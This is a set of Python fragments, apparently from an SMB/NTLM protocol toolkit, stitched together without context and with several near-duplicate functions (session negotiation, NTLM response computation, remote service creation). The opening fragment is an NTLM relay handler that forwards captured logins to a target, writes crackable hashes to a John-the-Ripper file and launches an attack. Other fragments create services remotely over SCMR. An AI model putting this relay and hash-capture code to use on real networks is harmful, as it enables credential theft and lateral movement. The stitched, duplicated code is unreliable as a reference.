challengeMessage # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data connData['Uid'] = random.randint(1, 0xffffffff) connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x02: # CHALLENGE_MESSAGE raise Exception('Challenge Message raise, not implemented!') elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = connData['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': # For some attacks it is important to know the authenticated username, so we store it self.authUser = ( '%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le')) ).upper() if rawNTLM is True: respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = securityBlob securityBlob = respToken2.getData() clientResponse, errorCode = self.do_ntlm_auth( client, token, connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: #Log this target as processed for this client self.targetprocessor.logTarget(self.target) LOG.error( "Authenticating against %s://%s as %s\\%s FAILED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) client.killConnection() else: # We have a session, create a thread and do whatever we want LOG.critical( "Authenticating against %s://%s as %s\\%s SUCCEED" % (self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'), authenticateMessage['user_name'].decode('utf-16le'))) # Log this target as processed for this client self.targetprocessor.logTarget(self.target, True, self.authUser) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) connData['Authenticated'] = True self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = b'\x00' # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respSMBCommand['SecurityBufferOffset'] = 0x48 respSMBCommand['SecurityBufferLength'] = len(respToken) respSMBCommand['Buffer'] = respToken.getData() smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode
def parseRow(self, token, tuplemode=False): # TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types # help would be appreciated ;) if len(token) == 1: return 0 row = [] if tuplemode else {} origDataLen = len(token['Data']) data = token['Data'] for col in self.colMeta: _type = col['Type'] if (_type == TDS_NVARCHARTYPE) |\ (_type == TDS_NCHARTYPE): #print "NVAR 0x%x" % _type charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = data[:charLen].decode('utf-16le') data = data[charLen:] else: value = 'NULL' elif (_type == TDS_BIGVARCHRTYPE): charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = data[:charLen] data = data[charLen:] else: value = 'NULL' elif (_type == TDS_GUIDTYPE): uuidLen = ord(data[0]) data = data[1:] if uuidLen > 0: uu = data[:uuidLen] value = uuid.bin_to_string(uu) data = data[uuidLen:] else: value = 'NULL' elif (_type == TDS_NTEXTTYPE) |\ (_type == TDS_IMAGETYPE) : # Skip the pointer data charLen = ord(data[0]) if charLen == 0: value = 'NULL' data = data[1:] else: data = data[1 + charLen + 8:] charLen = struct.unpack('<L', data[:struct.calcsize('<L')])[0] data = data[struct.calcsize('<L'):] if charLen != 0xFFFF: if _type == TDS_NTEXTTYPE: value = data[:charLen].decode('utf-16le') else: value = binascii.b2a_hex(data[:charLen]) data = data[charLen:] else: value = 'NULL' elif (_type == TDS_TEXTTYPE): # Skip the pointer data charLen = ord(data[0]) if charLen == 0: value = 'NULL' data = data[1:] else: data = data[1 + charLen + 8:] charLen = struct.unpack('<L', data[:struct.calcsize('<L')])[0] data = data[struct.calcsize('<L'):] if charLen != 0xFFFF: value = data[:charLen] data = data[charLen:] else: value = 'NULL' elif (_type == TDS_BIGVARBINTYPE) |\ (_type == TDS_BIGBINARYTYPE): charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] if charLen != 0xFFFF: value = binascii.b2a_hex(data[:charLen]) data = data[charLen:] else: value = 'NULL' elif (_type == TDS_DATETIM4TYPE) |\ (_type == TDS_DATETIMNTYPE) |\ (_type == TDS_DATETIMETYPE): value = '' if _type == TDS_DATETIMNTYPE: # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and # datetime SQL data _types respectively. if ord(data[0]) == 4: _type = TDS_DATETIM4TYPE elif ord(data[0]) == 8: _type = TDS_DATETIMETYPE else: value = 'NULL' data = data[1:] if (_type == TDS_DATETIMETYPE): # datetime is represented in the following sequence: # * One 4-byte signed integer that represents the number of days since January 1, 1900. Negative # numbers are allowed to represents dates since January 1, 1753. # * One 4-byte unsigned integer that represents the number of one three-hundredths of a second # (300 counts per second) elapsed since 12 AM that day. dateValue = struct.unpack('<l', data[:4])[0] data = data[4:] if dateValue < 0: baseDate = datetime.date(1753, 1, 1) else: baseDate = datetime.date(1900, 1, 1) timeValue = struct.unpack('<L', data[:4])[0] data = data[4:] elif (_type == TDS_DATETIM4TYPE): # Small datetime # 2.2.5.5.1.8 # Date/Times # smalldatetime is represented in the following sequence: # * One 2-byte unsigned integer that represents the number of days since January 1, 1900. # * One 2-byte unsigned integer that represents the number of minutes elapsed since 12 AM that # day. dateValue = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] timeValue = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] baseDate = datetime.date(1900, 1, 1) if value != 'NULL': dateValue = datetime.date.fromordinal( baseDate.toordinal() + dateValue) hours, mod = divmod(timeValue / 300, 60 * 60) minutes, second = divmod(mod, 60) value = datetime.datetime(dateValue.year, dateValue.month, dateValue.day, hours, minutes, second) elif (_type == TDS_INT4TYPE) |\ (_type == TDS_MONEY4TYPE) |\ (_type == TDS_FLT4TYPE): #print "INT4" value = struct.unpack('<l', data[:struct.calcsize('<l')])[0] data = data[struct.calcsize('<l'):] elif (_type == TDS_FLTNTYPE): valueSize = ord(data[:1]) if valueSize == 4: fmt = '<f' elif valueSize == 8: fmt = '<d' data = data[1:] if valueSize > 0: value = struct.unpack(fmt, data[:valueSize])[0] data = data[valueSize:] else: value = 'NULL' elif _type == TDS_MONEYNTYPE: valueSize = ord(data[:1]) if valueSize == 4: fmt = '<l' elif valueSize == 8: fmt = '<q' data = data[1:] if valueSize > 0: value = struct.unpack(fmt, data[:valueSize])[0] if valueSize == 4: value = float(value) / math.pow(10, 4) else: value = float(value >> 32) / math.pow(10, 4) data = data[valueSize:] else: value = 'NULL' elif _type == TDS_BIGCHARTYPE: #print "BIGC" charLen = struct.unpack('<H', data[:struct.calcsize('<H')])[0] data = data[struct.calcsize('<H'):] value = data[:charLen] data = data[charLen:] elif (_type == TDS_INT8TYPE) |\ (_type == TDS_FLT8TYPE) |\ (_type == TDS_MONEYTYPE): #print "DATETIME" value = struct.unpack('<q', data[:struct.calcsize('<q')])[0] data = data[struct.calcsize('<q'):] elif (_type == TDS_INT2TYPE): #print "INT2TYPE" value = struct.unpack('<H', (data[:2]))[0] data = data[2:] elif (_type == TDS_DATENTYPE): # date is represented as one 3-byte unsigned integer that represents the number of days since # January 1, year 1. valueSize = ord(data[:1]) data = data[1:] if valueSize > 0: dateBytes = data[:valueSize] dateValue = struct.unpack('<L', '\x00' + dateBytes)[0] value = datetime.date.fromtimestamp(dateValue) data = data[valueSize:] else: value = 'NULL' elif (_type == TDS_BITTYPE) |\ (_type == TDS_INT1TYPE): #print "BITTYPE" value = ord(data[:1]) data = data[1:] elif (_type == TDS_NUMERICNTYPE) |\ (_type == TDS_DECIMALNTYPE): valueLen = ord(data[:1]) data = data[1:] value = data[:valueLen] data = data[valueLen:] precision = ord(col['TypeData'][1]) scale = ord(col['TypeData'][2]) if valueLen > 0: isPositiveSign = ord(value[0]) if (valueLen - 1) == 2: fmt = '<H' elif (valueLen - 1) == 4: fmt = '<L' elif (valueLen - 1) == 8: fmt = '<Q' else: # Still don't know how to handle higher values value = "TODO: Interpret TDS_NUMERICNTYPE correctly" number = struct.unpack(fmt, value[1:])[0] number /= math.pow(precision, scale) if isPositiveSign == 0: number *= -1 value = number else: value = 'NULL' elif (_type == TDS_BITNTYPE): #print "BITNTYPE" valueSize = ord(data[:1]) data = data[1:] if valueSize > 0: if valueSize == 1: value = ord(data[:valueSize]) else: value = data[:valueSize] else: value = 'NULL' data = data[valueSize:] elif (_type == TDS_INTNTYPE): valueSize = ord(data[:1]) if valueSize == 1: fmt = '<B' elif valueSize == 2: fmt = '<h' elif valueSize == 4: fmt = '<l' elif valueSize == 8: fmt = '<q' else: fmt = '' data = data[1:] if valueSize > 0: value = struct.unpack(fmt, data[:valueSize])[0] data = data[valueSize:] else: value = 'NULL' elif (_type == TDS_SSVARIANTTYPE): LOG.critical("ParseRow: SQL Variant type not yet supported :(") raise else: LOG.critical("ParseROW: Unsupported data type: 0%x" % _type) raise if tuplemode: row.append(value) else: row[col['Name']] = value self.rows.append(row) return (origDataLen - len(data))
# We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle'] def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename = r'\svcctl', smb_connection = self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except:
def negotiateSession( self, preferredDialect=None, flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): """ Perform protocol negotiation :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used :param string flags1: the SMB FLAGS capabilities :param string flags2: the SMB FLAGS2 capabilities :param string negoData: data to be sent as part of the nego handshake :return: True, raises a Session Error if error. """ # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old # applications still believing # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i # *SMBSERVER's limitations if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': self._remoteName = self._remoteHost elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best nb = nmb.NetBIOS() try: res = nb.getnetbiosname(self._remoteHost) except: pass else: self._remoteName = res hostType = nmb.TYPE_SERVER if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port, self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3( self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negSessionResponse=SMB2Packet(packet)) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout) elif preferredDialect in [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ]: self._SMBConnection = smb3.SMB3( self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, preferredDialect=preferredDialect) else: LOG.critical("Unknown dialect %s", preferredDialect) raise # propagate flags to the smb sub-object # does not affect smb3 objects if isinstance(self._SMBConnection, smb.SMB): self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) return True
def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', use_ntlmv2=USE_NTLMv2): if use_ntlmv2: return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2=use_ntlmv2) else: return computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2=use_ntlmv2) try: from Cryptodome.Cipher import ARC4 from Cryptodome.Cipher import DES from Cryptodome.Hash import MD4 except Exception: LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") LOG.critical("See https://pypi.org/project/pycryptodomex/") NTLM_AUTH_NONE = 1 NTLM_AUTH_CONNECT = 2 NTLM_AUTH_CALL = 3 NTLM_AUTH_PKT = 4 NTLM_AUTH_PKT_INTEGRITY = 5 NTLM_AUTH_PKT_PRIVACY = 6 # If set, requests 56-bit encryption. If the client sends NTLMSSP_NEGOTIATE_SEAL or NTLMSSP_NEGOTIATE_SIGN # with NTLMSSP_NEGOTIATE_56 to the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_56 to # the client in the CHALLENGE_MESSAGE. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 # are requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be # returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_56 if it is # supported. An alternate name for this field is NTLMSSP_NEGOTIATE_56.
def negotiateSession( self, preferredDialect=None, flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): """ Perform protocol negotiation :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used :param string flags1: the SMB FLAGS capabilities :param string flags2: the SMB FLAGS2 capabilities :param string negoData: data to be sent as part of the nego handshake :return: True, raises a Session Error if error. """ hostType = nmb.TYPE_SERVER if preferredDialect is None: # If no preferredDialect sent, we try the highest available one. packet = self._negotiateSession(self._myName, self._remoteName, self._remoteHost, self._sess_port, self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) if packet[0] == '\xfe': # Answer is SMB2 packet self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession) else: # Answer is SMB packet, sticking to SMBv1 self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, session=self._nmbSession, negPacket=packet) else: if preferredDialect == smb.SMB_DIALECT: self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout) elif preferredDialect in [ SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30 ]: self._SMBConnection = smb3.SMB3( self._remoteName, self._remoteHost, self._myName, hostType, self._sess_port, self._timeout, preferredDialect=preferredDialect) else: LOG.critical("Unknown dialect ", preferredDialect) raise # propagate flags to the smb sub-object # does not affect smb3 objects if isinstance(self._SMBConnection, smb.SMB): self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) return True
if use_ntlmv2: return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2=use_ntlmv2) else: return computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2=use_ntlmv2) try: POW = None from Crypto.Cipher import ARC4 from Crypto.Cipher import DES from Crypto.Hash import MD4 except Exception: try: import POW except Exception: LOG.critical("Warning: You don't have any crypto installed. You need PyCrypto") LOG.critical("See http://www.pycrypto.org/") NTLM_AUTH_NONE = 1 NTLM_AUTH_CONNECT = 2 NTLM_AUTH_CALL = 3 NTLM_AUTH_PKT = 4 NTLM_AUTH_PKT_INTEGRITY = 5 NTLM_AUTH_PKT_PRIVACY = 6 # If set, requests 56-bit encryption. If the client sends NTLMSSP_NEGOTIATE_SEAL or NTLMSSP_NEGOTIATE_SIGN # with NTLMSSP_NEGOTIATE_56 to the server in the NEGOTIATE_MESSAGE, the server MUST return NTLMSSP_NEGOTIATE_56 to # the client in the CHALLENGE_MESSAGE. Otherwise it is ignored. If both NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 # are requested and supported by the client and server, NTLMSSP_NEGOTIATE_56 and NTLMSSP_NEGOTIATE_128 will both be # returned to the client. Clients and servers that set NTLMSSP_NEGOTIATE_SEAL SHOULD set NTLMSSP_NEGOTIATE_56 if it is # supported. An alternate name for this field is NTLMSSP_NEGOTIATE_56.
# It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle, self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical( "Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle'] def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport( self.connection.getRemoteHost(), self.connection.getRemoteHost(), filename=r'\svcctl', smb_connection=self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc()